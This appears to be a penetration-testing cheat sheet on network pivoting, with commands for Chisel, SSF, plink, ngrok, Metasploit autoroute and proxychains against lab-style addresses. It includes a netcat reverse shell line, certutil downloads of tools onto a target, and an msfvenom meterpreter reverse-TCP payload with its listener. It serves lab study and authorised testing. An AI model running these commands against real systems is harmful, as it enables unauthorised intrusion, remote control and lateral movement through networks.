Pivoting
Nmap pivoting
Use nmap standalone binary to scan other machines on the internal network. This is the best option to scan large networks without proxy all the traffic.
https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/nmap
1
https://github.com/epinna/weevely3
2
3
:net_proxy - Run local proxy to pivot HTTP/HTTPS browsing through the target.
4
:net_scan - TCP Port scan.
Copied!
1
vim ~/.ngrok2/ngrok.yml
2
3
tunnels:
4
http1:
5
addr: 8080
6
proto: http
7
8
tcp1:
9
addr: 8181
10
proto: tcp
11
12
tcp2:
13
addr: 8282
14
proto: tcp
15
16
./ngrok start -all
Copied!
Chisel
Chisel is a fast TCP/UDP tunnel, transported over HTTP, secured via SSH. Single executable including both client and server. Written in Go (golang). Chisel is mainly useful for passing through firewalls, though it can also be used to provide a secure endpoint into your network.
GitHub - jpillora/chisel: A fast TCP/UDP tunnel over HTTP
GitHub
1
--pivoting remote service--
2
Kali box: 10.10.14.10
3
Target box: 10.10.10.9
4
5
kali:> ./chisel server -p 8000 --host 0.0.0.0 --reverse -v
6
target box:> chisel_windows.exe client 10.10.14.10:8000 R:8081:10.10.10.9:81
7
kali:> curl localhost:8001
8
9
target box:> chisel_windows.exe client 10.10.14.10:8000 R:8445:10.10.10.9:445
10
kali :> nmap -sT -Pn 127.0.0.1 -p 8445 -v
11
12
--socks tunnel--
13
kali:> ./chisel server -p 8000 --reverse -v
14
target:> chisel_windows.exe client 10.10.14.10:8000 R:8001:127.0.0.1:9001
15
target:> chisel_windows.exe server -p 9001 --socks5
16
kali:> ./chisel client localhost:8001 socks
17
18
kali:> vim /etc/proxychains
19
socks5 127.0.0.1 1080
20
21
proxychains curl 10.10.10.9:x
Copied!
Secure Socket Funneling (SSF) is a network tool and toolkit. It provides simple and efficient ways to forward data from multiple sockets (TCP or UDP) through a single secure TLS tunnel to a remote computer.
1. We need to upload the certifications into the target machine
2. Download the windows and Linux binaries from GitHub repository
3. Execute the ssfd (server) on the Linux side
1
./ssfd
2
[2019-09-03T10:34:41-04:00] [info] [config] [tls] CA cert path: <file: ./certs/trusted/ca.crt>
3
[2019-09-03T10:34:41-04:00] [info] [config] [tls] cert path: <file: ./certs/certificate.crt>
4
[2019-09-03T10:34:41-04:00] [info] [config] [tls] key path: <file: ./certs/private.key>
5
[2019-09-03T10:34:41-04:00] [info] [config] [tls] key password: <>
6
[2019-09-03T10:34:41-04:00] [info] [config] [tls] dh path: <file: ./certs/dh4096.pem>
7
[2019-09-03T10:34:41-04:00] [info] [config] [tls] cipher suite: <DHE-RSA-AES256-GCM-SHA384>
8
[2019-09-03T10:34:41-04:00] [info] [config] [http proxy] <None>
9
[2019-09-03T10:34:41-04:00] [info] [config] [socks proxy] <None>
10
[2019-09-03T10:34:41-04:00] [info] [config] [circuit] <None>
11
[2019-09-03T10:34:41-04:00] [info] [ssfd] listening on <*:8011>
12
[2019-09-03T10:34:41-04:00] [info] [ssfd] running (Ctrl + C to stop)
Copied!
4. Upload the certificates and ssf client into the target machine (windows)
1
certutil.exe -urlcache -split -f http://10.10.14.10/ssf_windows/ssf.exe ssf.exe
2
certutil.exe -urlcache -split -f http://10.10.14.10/ssf_windows/certs.zip certs.zip
3
4
Download 7zip command line
5
https://www.7-zip.org/a/7za920.zip
6
7
:> 7za E certs.zip
8
9
./ssf -g -F 1080 -Y 1111 -L 172.19.0.4:2222:10.10.14.3:2222 -L 172.19.0.4:3333:10.10.14.3:3333 10.10.14.3
Copied!
On target host I will start the client, telling it to connect back to my box. I’ll use the following options:
-g - allow gateway ports. This allows client to bind local sockets to address besides localhost.
-F 1080 - This runs a socks proxy on the server on port 1080.
-Y 1111 - This opens local port 1111 as a shell on the client.
-L 172.19.0.4:2222:10.10.14.3:2222 and -L 172.19.0.4:3333:10.10.14.3:3333 - These will open listeners on the target machine that will forwards back to my attacker box. This will come in handy when I want to exploit further machines that can’t talk to my attacker box directly.
1
--socks5--
2
ssf.exe -g -F 1080 -Y 1111 10.10.14.10
3
4
kali:> vim /etc/proxychains
5
socks5 127.0.0.1 1080
6
7
proxychains curl 10.10.10.9:81
Copied!
Plink.exe
1
:> service ssh restart
2
:> netstat -antp | grep 22
3
:> adduser pp
4
:> userdel –r pp (to delete the created user)
5
6
nc.exe 10.10.14.10 4444 -e cmd.exe
7
plink.exe -ssh [email protected] -R 3306:localhost:3306
8
plink.exe -l pp -R 445:127.0.0.1:445 10.10.14.10
9
10
--smb--
11
plink -R 445:localhost:445 -pw pp [email protected] -N
12
plink.exe -R 8081:localhost:445 [email protected] -N -v
Copied!
Ensure that kali linux is allowing port-forwarding:
1
vim /etc/ssh/sshd_config
2
GatewayPorts yes
3
4
Reference: https://hackso.me/bighead-htb-walkthrough/
Copied!
Port Forwarding - CheatSheet – IronHackers / Ghostpp7
ironHackers
How to Pivot the Network (Port-Forwarding/Redirection) - A Hands-On Look
Cybrary
BigHead: Hack The Box Walkthrough
hacksome
Metasploit tunnel
Create the payload
1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.16 LPORT=443 -f exe -o meterpreter.exe
Copied!
Start the listener
1
msfconsole
2
use exploit/multi/handler
3
set PAYLOAD windows/meterpreter/reverse_tcp
4
set LHOST 192.168.1.16
5
set LPORT 443
6
exploit
7
8
--or--
9
handler -H 0.0.0.0 -P 443 -p windows/meterpreter/reverse_tcp
Copied!
Type "background" to put the section in the 2nd plane
Add the route and session (1)
1
route add 10.10.10.9 255.255.255.0 1
Copied!
Verify the route: route print
Create the socks4 proxy
1
use auxiliary/server/socks4a
2
set SRVHOST 127.0.0.1
3
run
Copied!
Configure proxychains
1
vim /etc/proxychains.conf
2
Edit the ProxyList at the bottom of the file:
3
socks4 127.0.0.1 1080
Copied!
Run your commands
1
proxychains nmap -Pn -sT -p445,3389 10.0.0.10
2
proxychains rdesktop 10.0.0.10
3
proxychains firefox 10.0.0.10
Copied!
Auto-route MSF (double pivot)
Imagine you have "www" access to a web-server located at the DMZ. With this technique, you can pivot through the infrastructure easily via Internet without exposing ports in your home-router.
1
:> ifconfig
2
:> run autoroute -s ip/mask
Copied!
1
CTRL+Z
2
3
:> search socks4
4
:> run (1080)
Copied!
1
search exploit
2
run
Copied!
Double pivoting with proxychains
1
First, create a dynamic port forwarding through the first network:
2
ssh -f -N -D 9050 [email protected]
3
4
Edit /etc/proxychains.conf and add as default gateway:
5
socks4 127.0.0.1 9050
6
7
Use the proxy to create a second dynamic port forward to the second network:
8
proxychains ssh -f -N -D 10050 [email protected] -p 22
9
10
Edit again /etc/proxychains.conf and add as default gateway:
11
socks4 127.0.0.1 10050
12
13
You can now use proxychains to pivot to the target network:
14
proxychains nmap -sTV -n -PN 10.1.2.1 -254
Copied!
Pivoting references
Explore Hidden Networks With Double Pivoting
Pentest Blog
OSCP Journey – Third Week
Perseverance
Last modified 1yr ago